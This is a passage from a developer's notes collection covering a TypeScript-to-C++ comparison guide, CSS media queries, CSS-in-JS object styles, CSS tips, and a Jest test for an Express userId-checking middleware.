Memory	Garbage collected	Manual (or smart pointers)
Null	`null` / `undefined`	`nullptr`, uninitialized
Package manager	npm/yarn/pnpm	vcpkg, Conan, CMake
Build system	Bundlers (Webpack, etc.)	CMake, Make, Ninja

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true

C++

#include <string>

// Variables
std::string name = "Alice";     // std::string, not primitive
int age = 30;
bool isActive = true;
double price = 19.99;

// const (compile-time or runtime constant)
const int MAX_SIZE = 100;
const std::string PREFIX = "user_";

// constexpr (compile-time constant, preferred)
constexpr int BUFFER_SIZE = 1024;

// auto (type inference, like TypeScript's inference)
auto count = 42;        // int
auto message = "hello"; // const char*
auto name = std::string("Alice"); // std::string

Basic types

TypeScript	C++
`string`	`std::string`
`number`	`int`, `long`, `float`, `double`
`boolean`	`bool`
`any`	No direct equivalent (use templates/variants)
`null`	`nullptr` (for pointers)
`Array<T>`	`std::vector<T>`
`Record<K, V>`	`std::map<K, V>` or `std::unordered_map<K, V>`
`Set<T>`	`std::set<T>` or `std::unordered_set<T>`
`[T, U]`	`std::tuple<T, U>` or `std::pair<T, U>`

Numeric types

// Integers
int x = 42;                    // At least 16 bits
long y = 100000L;              // At least 32 bits
long long z = 10000000000LL;   // At least 64 bits

// Fixed-width integers (preferred)
#include <cstdint>
int32_t a = 42;
int64_t b = 100000;
uint32_t c = 42;  // Unsigned

// Floating point
float f = 3.14f;
double d = 3.14159265359;

// Size in bytes
sizeof(int);    // Platform dependent (usually 4)
sizeof(double); // Usually 8

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

function log(message: string, level: string = "INFO"): void {
    console.log(`[${level}] ${message}`)
}

C++

#include <string>
#include <iostream>

// Basic function
std::string greet(const std::string& name) {
    return "Hello, " + name + "!";
}

// Lambda (like arrow functions)
auto add = [](int a, int b) -> int {
    return a + b;
};
// Short form
auto add = [](int a, int b) { return a + b; };

// Default parameters
void log(const std::string& message, const std::string& level = "INFO") {
    std::cout << "[" << level << "] " << message << "\n";
}

// Function overloading (multiple functions, same name)
int add(int a, int b) { return a + b; }
double add(double a, double b) { return a + b; }
std::string add(const std::string& a, const std::string& b) { return a + b; }

// Pass by value, reference, or pointer
void byValue(int x);              // Copy
void byReference(int& x);         // Mutable reference
void byConstRef(const int& x);    // Read-only reference
void byPointer(int* x);           // Pointer (can be null)

Lambda captures

int factor = 2;

// Capture by value (copy)
auto multiply = [factor](int n) { return n * factor; };

// Capture by reference
auto increment = [&factor](int n) { factor++; return n * factor; };

// Capture all by value
auto fn1 = [=]() { return factor; };

// Capture all by reference
auto fn2 = [&]() { factor++; };

// Mixed
auto fn3 = [=, &factor]() { /* ... */ };

Classes

TypeScript

class User {
    private id: number
    public name: string
    readonly email: string

    constructor(id: number, name: string, email: string) {
        this.id = id
        this.name = name
        this.email = email
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
        return new User(Date.now(), name, "")
    }
}

C++

#include <string>
#include <ctime>

class User {
private:
    int id;

public:
    std::string name;
    const std::string email;  // const = readonly (set once in constructor)

    // Constructor with initializer list
    User(int id, const std::string& name, const std::string& email)
        : id(id), name(name), email(email) {}

    // Method
    std::string greet() const {  // const = doesn't modify object
        return "Hello, " + name;
    }

    // Getter
    int getId() const { return id; }

    // Static method
    static User create(const std::string& name) {
        return User(static_cast<int>(std::time(nullptr)), name, "");
    }
};

// Usage
User user(1, "Alice", "alice@example.com");
user.greet();
User::create("Bob");

Structs (like public-by-default classes)

// struct = class with public default access
// Use for simple data containers (like TypeScript interfaces)
struct Point {
    double x;
    double y;

    double distance() const {
        return std::sqrt(x * x + y * y);
    }
};

Point p{3.0, 4.0};  // Aggregate initialization
p.x = 5.0;

Inheritance and polymorphism

TypeScript

interface Drawable {
    draw(): void
}

class Shape {
    protected x: number
    constructor(x: number) { this.x = x }
}

class Circle extends Shape implements Drawable {
    constructor(x: number, public radius: number) {
        super(x)
    }
    draw() { /* ... */ }
}

C++

// Abstract base class (like interface)
class Drawable {
public:
    virtual void draw() const = 0;  // Pure virtual = abstract
    virtual ~Drawable() = default;  // Virtual destructor
};

class Shape {
protected:
    double x;

public:
    Shape(double x) : x(x) {}
    virtual ~Shape() = default;
};

// Multiple inheritance
class Circle : public Shape, public Drawable {
private:
    double radius;

public:
    Circle(double x, double radius) : Shape(x), radius(radius) {}

    void draw() const override {
        // Implementation
    }
};

// Usage
Circle circle(0, 5.0);
Drawable* drawable = &circle;  // Polymorphism via pointer
drawable->draw();

// Or with smart pointers (preferred)
std::unique_ptr<Drawable> shape = std::make_unique<Circle>(0, 5.0);
shape->draw();

Memory management

C++ requires explicit memory management. Modern C++ uses smart pointers.

TypeScript

const user = new User()  // Garbage collected automatically

C++

#include <memory>

// Stack allocation (automatic cleanup)
User user(1, "Alice", "");  // Destroyed when scope ends

// Heap allocation (manual - AVOID in modern C++)
User* ptr = new User(1, "Alice", "");
delete ptr;  // Must manually delete!

// Smart pointers (modern C++, preferred)

// unique_ptr: Single owner, auto-deleted
std::unique_ptr<User> user1 = std::make_unique<User>(1, "Alice", "");
// No delete needed - automatic when out of scope

// shared_ptr: Multiple owners, reference counted
std::shared_ptr<User> user2 = std::make_shared<User>(1, "Alice", "");
std::shared_ptr<User> user3 = user2;  // Both point to same object
// Deleted when last shared_ptr is destroyed

// weak_ptr: Non-owning reference (breaks cycles)
std::weak_ptr<User> weak = user2;
if (auto locked = weak.lock()) {  // Check if still valid
    locked->greet();
}

Vectors (dynamic arrays)

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)

C++

#include <vector>
#include <algorithm>

std::vector<int> arr = {1, 2, 3};
arr.push_back(4);

// Size and access
arr.size();          // 4
arr[0];              // 1 (no bounds checking)
arr.at(0);           // 1 (throws if out of bounds)
arr.front();         // First element
arr.back();          // Last element

// Iteration
for (int n : arr) {
    std::cout << n << "\n";
}

for (const auto& n : arr) {  // By reference (more efficient)
    std::cout << n << "\n";
}

// Transform (like map)
std::vector<int> doubled;
std::transform(arr.begin(), arr.end(), std::back_inserter(doubled),
    [](int n) { return n * 2; });

// Filter (copy_if)
std::vector<int> evens;
std::copy_if(arr.begin(), arr.end(), std::back_inserter(evens),
    [](int n) { return n % 2 == 0; });

// C++20 ranges (more like JS)
#include <ranges>

auto doubled = arr | std::views::transform([](int n) { return n * 2; });
auto evens = arr | std::views::filter([](int n) { return n % 2 == 0; });

// Reduce (accumulate)
#include <numeric>
int sum = std::accumulate(arr.begin(), arr.end(), 0);

Maps

TypeScript

const scores: Record<string, number> = {
    alice: 100,
    bob: 85
}
scores["charlie"] = 90

C++

#include <map>
#include <unordered_map>
#include <string>

// Ordered map (sorted by key, uses tree)
std::map<std::string, int> scores = {
    {"alice", 100},
    {"bob", 85}
};

// Unordered map (faster, uses hash table, like JS object)
std::unordered_map<std::string, int> scores = {
    {"alice", 100},
    {"bob", 85}
};

// Insert/update
scores["charlie"] = 90;
scores.insert({"david", 70});

// Access
int score = scores["alice"];     // Creates entry if missing!
int score = scores.at("alice");  // Throws if missing

// Check if key exists
if (scores.count("alice") > 0) { /* exists */ }
if (scores.contains("alice")) { /* C++20 */ }

// Find
auto it = scores.find("alice");
if (it != scores.end()) {
    std::cout << it->second << "\n";  // 100
}

// Delete
scores.erase("bob");

// Iterate
for (const auto& [name, score] : scores) {  // Structured binding
    std::cout << name << ": " << score << "\n";
}

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log("Not found")
    }
    throw error
}

C++

#include <stdexcept>

try {
    auto data = fetchData();
} catch (const NotFoundException& e) {
    std::cerr << "Not found: " << e.what() << "\n";
} catch (const std::exception& e) {
    std::cerr << "Error: " << e.what() << "\n";
    throw;  // Re-throw
} catch (...) {
    std::cerr << "Unknown error\n";
}

// Custom exception
class ValidationError : public std::runtime_error {
public:
    std::string field;

    ValidationError(const std::string& field, const std::string& message)
        : std::runtime_error(field + ": " + message), field(field) {}
};

throw ValidationError("email", "Invalid format");

// Modern C++: std::optional for "might not have value"
#include <optional>

std::optional<User> findUser(int id) {
    if (id <= 0) return std::nullopt;
    return User(id, "Alice", "");
}

if (auto user = findUser(1)) {
    user->greet();  // Use like pointer
}

// std::expected (C++23) for Result type
#include <expected>

std::expected<User, std::string> findUser(int id) {
    if (id <= 0) return std::unexpected("Invalid ID");
    return User(id, "Alice", "");
}

Templates (generics)

TypeScript

function first<T>(arr: T[]): T | undefined {
    return arr[0]
}

interface Container<T> {
    value: T
    map<U>(fn: (v: T) => U): Container<U>
}

C++

// Function template
template<typename T>
T first(const std::vector<T>& arr) {
    if (arr.empty()) throw std::runtime_error("Empty vector");
    return arr[0];
}

// With optional
template<typename T>
std::optional<T> first(const std::vector<T>& arr) {
    if (arr.empty()) return std::nullopt;
    return arr[0];
}

// Class template
template<typename T>
class Container {
private:
    T value;

public:
    Container(T v) : value(v) {}

    T get() const { return value; }

    template<typename U>
    Container<U> map(std::function<U(T)> fn) const {
        return Container<U>(fn(value));
    }
};

// Usage
Container<int> c(42);
auto doubled = c.map<int>([](int n) { return n * 2; });

// Concepts (C++20) - like type constraints
template<typename T>
concept Numeric = std::integral<T> || std::floating_point<T>;

template<Numeric T>
T sum(const std::vector<T>& nums) {
    return std::accumulate(nums.begin(), nums.end(), T{});
}

Strings

TypeScript

const name = "Alice"
const message = `Hello, ${name}!`
"hello".toUpperCase()

C++

#include <string>
#include <sstream>
#include <algorithm>
#include <format>  // C++20

std::string name = "Alice";

// Concatenation
std::string message = "Hello, " + name + "!";

// String formatting (C++20)
std::string message = std::format("Hello, {}!", name);

// Older: stringstream
std::ostringstream ss;
ss << "Hello, " << name << "! You have " << 5 << " messages.";
std::string result = ss.str();

// String operations
name.length();           // or .size()
name.substr(0, 3);       // "Ali"
name.find("li");         // 1 (position)
name.empty();            // false
name.starts_with("Al");  // C++20
name.ends_with("ce");    // C++20

// Transform (no built-in toUpper on string)
std::string upper = name;
std::transform(upper.begin(), upper.end(), upper.begin(), ::toupper);

// C-style string (const char*)
const char* cstr = name.c_str();

// String to number
int n = std::stoi("42");
double d = std::stod("3.14");

// Number to string
std::string s = std::to_string(42);

File I/O

TypeScript (Node.js)

import { readFileSync, writeFileSync } from 'fs'

const content = readFileSync('file.txt', 'utf-8')
writeFileSync('output.txt', 'Hello, World!')

C++

#include <fstream>
#include <string>
#include <sstream>

// Read entire file
std::ifstream file("file.txt");
std::stringstream buffer;
buffer << file.rdbuf();
std::string content = buffer.str();

// Read line by line
std::ifstream file("file.txt");
std::string line;
while (std::getline(file, line)) {
    std::cout << line << "\n";
}

// Write to file
std::ofstream out("output.txt");
out << "Hello, World!\n";
out.close();

// Append
std::ofstream out("output.txt", std::ios::app);
out << "More content\n";

// Check if file opened
if (!file.is_open()) {
    throw std::runtime_error("Could not open file");
}

// C++17: std::filesystem
#include <filesystem>
namespace fs = std::filesystem;

if (fs::exists("file.txt")) {
    auto size = fs::file_size("file.txt");
}

for (const auto& entry : fs::directory_iterator(".")) {
    std::cout << entry.path() << "\n";
}

JSON handling

C++ has no built-in JSON. Use a library like nlohmann/json.

TypeScript

const json = JSON.stringify(obj)
const parsed = JSON.parse(json)

C++ (nlohmann/json)

#include <nlohmann/json.hpp>
using json = nlohmann::json;

// Create JSON
json j;
j["name"] = "Alice";
j["age"] = 30;
j["tags"] = {"admin", "user"};

// From object
struct User {
    std::string name;
    int age;
};
NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(User, name, age)  // Macro for serialization

User user{"Alice", 30};
json j = user;

// Stringify
std::string str = j.dump();       // Compact
std::string str = j.dump(2);      // Pretty with 2-space indent

// Parse
json parsed = json::parse(str);
std::string name = parsed["name"];
int age = parsed["age"].get<int>();

// To object
User user = parsed.get<User>();

// Safe access
if (parsed.contains("email")) {
    auto email = parsed["email"];
}

auto email = parsed.value("email", "default@example.com");

Concurrency

TypeScript

async function fetchAll(urls: string[]): Promise<Response[]> {
    return Promise.all(urls.map(url => fetch(url)))
}

C++

#include <thread>
#include <future>
#include <vector>
#include <mutex>

// Basic thread
std::thread t([]() {
    std::cout << "Hello from thread\n";
});
t.join();  // Wait for completion

// std::async (like Promise)
std::future<int> result = std::async(std::launch::async, []() {
    return computeValue();
});
int value = result.get();  // Blocks until ready

// Multiple async tasks (like Promise.all)
std::vector<std::future<std::string>> futures;
for (const auto& url : urls) {
    futures.push_back(std::async(std::launch::async, [&url]() {
        return fetch(url);
    }));
}

std::vector<std::string> results;
for (auto& f : futures) {
    results.push_back(f.get());
}

// Mutex for thread safety
std::mutex mtx;
int counter = 0;

void increment() {
    std::lock_guard<std::mutex> lock(mtx);  // RAII lock
    counter++;
}

// C++20: std::jthread (auto-joining)
std::jthread t([]() {
    // work
});
// No need to call join()

Build system (CMake)

TypeScript

{
    "scripts": {
        "build": "tsc",
        "dev": "tsc --watch"
    }
}

C++ (CMake)

# CMakeLists.txt
cmake_minimum_required(VERSION 3.20)
project(MyProject VERSION 1.0.0 LANGUAGES CXX)

set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

# Add executable
add_executable(myapp
    src/main.cpp
    src/utils.cpp
)

# Include directories
target_include_directories(myapp PRIVATE include)

# Link libraries
find_package(nlohmann_json REQUIRED)
target_link_libraries(myapp PRIVATE nlohmann_json::nlohmann_json)

# Add tests
enable_testing()
add_executable(tests tests/test_main.cpp)
add_test(NAME MyTests COMMAND tests)

# Build
mkdir build && cd build
cmake ..
cmake --build .

# Run
./myapp

Testing (Catch2)

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })
})

C++ (Catch2)

#define CATCH_CONFIG_MAIN
#include <catch2/catch.hpp>

TEST_CASE("Math operations", "[math]") {
    SECTION("addition") {
        REQUIRE(add(1, 2) == 3);
        REQUIRE(add(-1, 1) == 0);
    }

    SECTION("division") {
        REQUIRE(divide(10, 2) == 5);
        REQUIRE_THROWS_AS(divide(1, 0), std::runtime_error);
    }
}

// Parameterized tests
TEST_CASE("Addition with parameters") {
    auto [a, b, expected] = GENERATE(table<int, int, int>({
        {1, 2, 3},
        {0, 0, 0},
        {-1, 1, 0}
    }));

    REQUIRE(add(a, b) == expected);
}

Common gotchas for TS developers

Compilation required - no REPL-like experience
Memory management - use smart pointers, avoid raw new/delete
No garbage collection - resources must be released
Headers vs source - declarations in .h, definitions in .cpp
#include is text substitution - use include guards
Pass by value copies - use const& for efficiency
Undefined behaviour - accessing out-of-bounds, null pointers, etc.
Iterators not indices - STL uses iterator pattern
std::string is not const char* - two different types
No reflection - no runtime type info like TypeScript

// Include guard
#ifndef MY_CLASS_H
#define MY_CLASS_H

class MyClass {
    // ...
};

#endif

// Or modern (most compilers)
#pragma once

class MyClass {
    // ...
};

Resources

CSS Media Queries

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

light-level

This feature isn’t available in any browsers at the time of writing, but it definitely sounds like a future favourite. With the light-level media query, you can tune your styles based on whether your user is viewing your web app outside in daylight, or perhaps checking in before going to bed. This is great news for anyone who has ever tried to read their phone in the park, or check out a website at night!

There are three available values – dim, normal (the default), and washed.

Here’s an example where we change some CSS custom properties:

@media (light-level: dim) {
  :root {
    --text-color: white;
    --background-color: black;
  }
}

Read more at MDN.

inverted-colors

Currently supported in Safari (and Safari on iOS).

The value is boolean, so none and inverted.

@media (inverted-colors) {
  img {
    filter: invert(1);
  }
  * {
    box-shadow: none !important;
    text-shadow: none !important;
  }
}

Read more at MDN.

Preferences, preferences, preferences

The fifth level of CSS media queries also has a huge focus on personalization. It introduces no fewer than five distinct media queries that lets you tweak your website to whatever the user prefers!

prefers-color-scheme

This feature is already widely supported in browsers, and has three possible values – light, dark, and no-preference. Here’s an example where we change the background colour of the site based on preference:

@media (prefers-color-scheme: dark) {
  body {
    background: #1e1e1e;
    color: white;
  }
}

Read more at MDN.

`color-scheme`

The color-scheme CSS property and the corresponding meta tag allow developers to opt their pages in to the theme-specific defaults of the user agent stylesheet.

<meta name="color-scheme" content="dark light" />

/*
  The page supports both dark and light color schemes,
  and the page author prefers dark.
*/
:root {
  color-scheme: dark light;
}

prefers-contrast

The prefers-contrast media query lets you cater to users who prefer high contrast content compared to your original design.

There’s two values here - no-preference and high.

@media (prefers-contrast) {
  :root {
    --text-color: black;
  }
}

Read more at MDN.

prefers-reduced-motion

With the prefers-reduced-motion media query, you can respect that wish as well. Use it to reduce those “bouncy” animations, fading images and “fun” transitions a bit. Note that you don’t necessarily have to remove all movement, but reduce it.

Browser support is pretty good. The value is boolean, so no-preference or reduce.

@media (prefers-reduced-motion) {
  * {
    transition-duration: 0.05s;
  }
}

prefers-reduced-transparency

Some operating systems offer an option to reduce the amount of translucent layering effects used by the system. Although not supported by any browsers yet, the prefers-reduced-transparency media query is aiming to help you cater to those users.

The value is boolean, so no-preference and reduce.

@media (prefers-reduced-transparency) {
  .floating-box {
    opacity: 1;
  }
}

Read more at MDN.

prefers-reduced-data

The value is boolean, so no-preference and reduce are the values.

@media (prefers-reduced-data) {
  .hero-image {
    background-image: none;
    background-color: salmon;
  }
}

Read more at MDN.

pointer

The pointer CSS media feature tests whether the user has a pointing device (such as a mouse), and if so, how accurate the primary pointing device is.

Possible values are coarse, fine or none.

@media (pointer: coarse) {
  .hero-image {
    background-image: none;
    background-color: salmon;
  }
}

Read more at MDN.

hover and any-hover

The hover CSS media feature can be used to test whether the user's primary input mechanism can hover over elements. The any-hover CSS media feature can be used to test whether any available input mechanism can hover over elements.

@media (hover: none) {
  /* do something when hover *IS NOT* available */
}

.cta {
}

@media (hover: hover) {
  /* do something when hover *IS* available */
  .cta:hover {
  }
}

If you'd like the query to be slightly broader to test if any available input can hover you can use the any-hover query instead.

This will apply to devices that allow for both touch and the connection of a pointer device like a mouse.

.cta {
}

@media (any-hover: hover) {
  /* do something when hover *IS* available */
  .cta:hover {
  }
}

Read more at MDN.

CSS Object styles

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Instead of writing css properties in kebab-case like regular css, you write them in camelCase, for example background-color would be backgroundColor. Object styles are especially useful with the css prop because you don't need a css call like with string styles but object styles can also be used with styled.

Worth saying up front: the runtime CSS-in-JS era this note comes from (Emotion, Theme UI) has largely fallen out of favour — runtime styles don't work with React Server Components. The zero-runtime successors (vanilla-extract, Panda CSS, Linaria, StyleX) or plain CSS/Tailwind are the usual picks now. The camelCase object syntax below is still accurate for any lib that uses it, though.

https://theme-ui.com/guides/object-styles
https://emotion.sh/docs/object-styles

Pseudo elements

{
  '&::before': {
    content: '""',
    display: 'block',
    width: 32,
    height: 32,
    backgroundColor: 'tomato',
  }
}

Media queries

{
  color: 'darkorchid',
  '@media(min-width: 420px)': {
    color: 'orange'
  }
}

Numbers

{
  padding: 8,
  zIndex: 200
}

Vendor prefixes

Prefixes for interface names are upper-cased in object styles, e.g. WebkitTextStrokeColor for -webkit-text-stroke-color (there is no unprefixed text-stroke — only the -webkit- version exists):

{
  WebkitTextStrokeColor: 'red',
  WebkitTextStrokeWidth: '1px',
}

CSS Protips

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

A collection of tips to help take your CSS skills pro.

Use a CSS Reset

CSS resets help enforce style consistency across different browsers with a clean slate for styling elements. You can use a CSS reset library like Normalize, et al., or you can use a more simplified reset approach:

*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

Now elements will be stripped of margins and padding, and box-sizing lets you manage layouts with the CSS box model.

Demo

Note: If you follow the Inherit box-sizing tip below you might opt to not include the box-sizing property in your CSS reset.

Inherit `box-sizing`

Let box-sizing be inherited from html:

html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

This makes it easier to change box-sizing in plugins or other components that leverage other behaviour.

Demo

Use `unset` Instead of Resetting All Properties

When resetting an element's properties, it's not necessary to reset each individual property:

button {
  background: none;
  border: none;
  color: inherit;
  font: inherit;
  outline: none;
  padding: 0;
}

You can specify all of an element's properties using the all shorthand. Setting the value to unset changes an element's properties to their initial values:

button {
  all: unset;
}

Note: the all shorthand isn't supported in IE11 and is currently under consideration for support in Edge. unset isn't supported in IE11.

Use `:not()` to Apply/Unapply Borders on Navigation

Instead of putting on the border...

/* add border */
.nav li {
  border-right: 1px solid #666;
}

...and then taking it off the last element...

/* remove border */
.nav li:last-child {
  border-right: none;
}

...use the :not() pseudo-class to only apply to the elements you want:

.nav li:not(:last-child) {
  border-right: 1px solid #666;
}

Here, the CSS selector is read as a human would describe it.

Demo

Check If Font Is Installed Locally

You can check if a font is installed locally before fetching it remotely, which is a good performance tip, too.

@font-face {
  font-family: 'Dank Mono';
  src:
    /* Full name */ local('Dank Mono'), /* Postscript name */ local('Dank Mono'),
    /* Otherwise, download it! */ url('//...a.server/fonts/DankMono.woff');
}

code {
  font-family: 'Dank Mono', system-ui-monospace;
}

H/T to Adam Argyle for sharing this protip and demo.

Add `line-height` to `body`

You don't need to add line-height to each <p>, <h*>, et al. separately. Instead, add it to body:

body {
  line-height: 1.5;
}

This way textual elements can inherit from body easily.

Demo

Set `:focus` for Form Elements

Sighted keyboard users rely on focus to determine where keyboard events go in the page. Make focus for form elements stand out and consistent then a browser's default implementation:

a:focus,
button:focus,
input:focus,
select:focus,
textarea:focus {
  box-shadow: none;
  outline: #000 dotted 2px;
  outline-offset: 0.05em;
}

Demo

Vertically-Center Anything

No, it's not black magic, you really can center elements vertically. You can do this with flexbox...

html,
body {
  height: 100%;
  margin: 0;
}

body {
  align-items: center;
  display: flex;
}

...and also with CSS Grid:

body {
  display: grid;
  height: 100vh;
  margin: 0;
  place-items: center center;
}

Want to center something else? Vertically, horizontally...anything, anytime, anywhere? CSS-Tricks has a nice write-up on doing all of that.

Note: Watch for some buggy behaviour with flexbox in IE11.

Demo

Comma-Separated Lists

Make list items look like a real, comma-separated list:

ul > li:not(:last-child)::after {
  content: ',';
}

Use the :not() pseudo-class and no comma will be added to the last item.

Note: This tip may not be ideal for accessibility, specifically screen readers. And copy/paste from the browser doesn't work with CSS-generated content. Proceed with caution.

Select Items Using Negative `nth-child`

Use negative nth-child in CSS to select items 1 through n.

li {
  display: none;
}

/* select items 1 through 3 and display them */
li:nth-child(-n + 3) {
  display: block;
}

Or, since you've already learned a little about using :not(), try:

/* select all items except the first 3 and display them */
li:not(:nth-child(-n + 3)) {
  display: block;
}

Demo

Use SVG for Icons

There's no reason not to use SVG for icons:

.logo {
  background: url('logo.svg');
}

SVG scales well for all resolution types and is supported in all browsers back to IE9. Ditch your .png, .jpg, or .gif-jif-whatev files.

Note: If you have SVG icon-only buttons for sighted users and the SVG fails to load, this will help maintain accessibility:

.no-svg .icon-only::after {
  content: attr(aria-label);
}

Use the "Lobotomized Owl" Selector

It may have a strange name but using the universal selector (*) with the adjacent sibling selector (+) can provide a powerful CSS capability:

* + * {
  margin-top: 1.5em;
}

In this example, all elements in the flow of the document that follow other elements will receive margin-top: 1.5em.

For more on the "lobotomized owl" selector, read Heydon Pickering's post on A List Apart.

Demo

Use `max-height` for Pure CSS Sliders

Implement CSS-only sliders using max-height with overflow hidden:

.slider {
  max-height: 200px;
  overflow-y: hidden;
  width: 300px;
}

.slider:hover {
  max-height: 600px;
  overflow-y: scroll;
}

The element expands to the max-height value on hover and the slider displays as a result of the overflow.

Equal-Width Table Cells

Tables can be a pain to work with. Try using table-layout: fixed to keep cells at equal width:

.calendar {
  table-layout: fixed;
}

Pain-free table layouts.

Demo

Get Rid of Margin Hacks With Flexbox

When working with column gutters you can get rid of nth-, first-, and last-child hacks by using flexbox's space-between property:

.list {
  display: flex;
  justify-content: space-between;
}

.list .person {
  flex-basis: 23%;
}

Now column gutters always appear evenly-spaced.

Use Attribute Selectors with Empty Links

Display links when the <a> element has no text value but the href attribute has a link:

a[href^='http']:empty::before {
  content: attr(href);
}

That's pretty convenient.

Demo

Style "Default" Links

Add a style for "default" links:

a[href]:not([class]) {
  color: #008000;
  text-decoration: underline;
}

Now links that are inserted via a CMS, which don't usually have a class attribute, will have a distinction without generically affecting the cascade.

Consistent Vertical Rhythm

Use a universal selector (*) within an element to create a consistent vertical rhythm:

.intro > * {
  margin-bottom: 1.25rem;
}

Consistent vertical rhythm provides a visual aesthetic that makes content far more readable.

Intrinsic Ratio Boxes

To create a box with an intrinsic ratio, all you need to do is apply top or bottom padding to a div:

.container {
  height: 0;
  padding-bottom: 20%;
  position: relative;
}

.container div {
  border: 2px dashed #ddd;
  height: 100%;
  left: 0;
  position: absolute;
  top: 0;
  width: 100%;
}

Using 20% for padding makes the height of the box equal to 20% of its width. No matter the width of the viewport, the child div will keep its aspect ratio (100% / 20% = 5:1).

Demo

Style Broken Images

Make broken images more aesthetically-pleasing with a little bit of CSS:

img {
  display: block;
  font-family: sans-serif;
  font-weight: 300;
  height: auto;
  line-height: 2;
  position: relative;
  text-align: center;
  width: 100%;
}

Now add pseudo-elements rules to display a user message and URL reference of the broken image:

img::before {
  content: "We're sorry, the image below is broken :(";
  display: block;
  margin-bottom: 10px;
}

img::after {
  content: '(url: ' attr(src) ')';
  display: block;
  font-size: 12px;
}

Learn more about styling for this pattern in Ire Aderinokun's original post.

Use `rem` for Global Sizing; Use `em` for Local Sizing

After setting the base font size at the root (html { font-size: 100%; }), set the font size for textual elements to em:

h2 {
  font-size: 2em;
}

p {
  font-size: 1em;
}

Then set the font-size for modules to rem:

article {
  font-size: 1.25rem;
}

aside .module {
  font-size: 0.9rem;
}

Now each module becomes compartmentalized and easier to style, more maintainable, and flexible.

Hide Autoplay Videos That Aren't Muted

This is a great trick for a custom user stylesheet. Avoid overloading a user with sound from a video that autoplays when the page is loaded. If the sound isn't muted, don't show the video:

video[autoplay]:not([muted]) {
  display: none;
}

Once again, we're taking advantage of using the :not() pseudo-class.

Use `:root` for Flexible Type

The type font size in a responsive layout should be able to adjust with each viewport. You can calculate the font size based on the viewport height and width using :root:

:root {
  font-size: calc(1vw + 1vh + 0.5vmin);
}

Now you can utilize the root em unit based on the value calculated by :root:

body {
  font: 1rem/1.6 sans-serif;
}

Demo

Set `font-size` on Form Elements for a Better Mobile Experience

To avoid mobile browsers (iOS Safari, et al.) from zooming in on HTML form elements when a <select> drop-down is tapped, add font-size to the selector rule:

input[type='text'],
input[type='number'],
select,
textarea {
  font-size: 16px;
}

:dancer:

Use Pointer Events to Control Mouse Events

Pointer events allow you to specify how the mouse interacts with the element it's touching. To disable the default pointer event on a button, for instance:

.button-disabled {
  opacity: 0.5;
  pointer-events: none;
}

It's that simple.

Set `display: none` on Line Breaks Used as Spacing

As Harry Roberts pointed out, this can help prevent CMS users from using extra line breaks for spacing:

br + br {
  display: none;
}

Use `:empty` to Hide Empty HTML Elements

If you have HTML elements that are empty, i.e., the content has yet to be set either by a CMS or dynamically injected (e.g., <p class="error-message"></p>) and it's creating unwanted space on your layout, use the :empty pseudo-class to hide the element on the layout.

:empty {
  display: none;
}

Note: Keep in mind that elements with whitespace aren't considered empty, e.g., <p class="error-message"> </p>.

Express middleware testing

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Heads up: reqresnext is barely maintained these days — node-mocks-http or supertest are the ecosystem standards now. The pattern below still works though.

import reqresnext from 'reqresnext'

import { userIdChecker } from './userIdMiddleware'

const DOMAIN = 'https://example.com'
const VALID_USER_ID = '103003'
const jwtToken = 'fake.jwt.token'

describe('Given a userIdChecker middleware', () => {
  describe(`when it is called with matching userId's`, () => {
    describe('when the request has a user_id as a query param', () => {
      it('should not modify the request', () => {
        const originalRequest = `${DOMAIN}/api/fx-api/user/103003?user_id=103003`
        const path = `/api/fx-api/user/${VALID_USER_ID}?user_id=${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
        })

        userIdChecker(req, res, next)

        expect(req.url).toEqual(originalRequest)
      })
    })

    describe('when the request has a userId in the request body', () => {
      it('should not modify the request', () => {
        const path = `/api/fx-api/user/${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
          body: {
            userId: VALID_USER_ID,
          },
        })

        userIdChecker(req, res, next)

        expect(req.body.userId).toEqual(VALID_USER_ID)
      })
    })
  })

  describe(`when it is called with mismatching userId's`, () => {
    const WRONG_USER_ID = '12345'

    it('should forbid the API call', () => {
      const originalRequest = `${DOMAIN}/api/fx-api/user/103003?user_id=${WRONG_USER_ID}`
      const path = `/api/fx-api/user/${VALID_USER_ID}?user_id=${WRONG_USER_ID}`
      const { req, res, next } = reqresnext({
        url: `${DOMAIN}${path}`,
        originalUrl: `${DOMAIN}${path}`,
        path,
        cookies: {
          jwt_id_token: jwtToken,
        },
      })

      userIdChecker(req, res, next)

      expect(req.url).toEqual(originalRequest)
      expect(res.statusCode).toEqual(403)
      expect(JSON.parse(res.body)).toEqual({ message: 'Forbidden' })
    })

    describe('when the request has a userId in the request body', () => {
      it('should forbid the API call', () => {
        const path = `/api/fx-api/user/${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
          body: {
            userId: WRONG_USER_ID,
          },
        })

        userIdChecker(req, res, next)

        expect(res.statusCode).toEqual(403)
        expect(JSON.parse(res.body)).toEqual({ message: 'Forbidden' })
      })
    })
  })
})

Fish shell

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

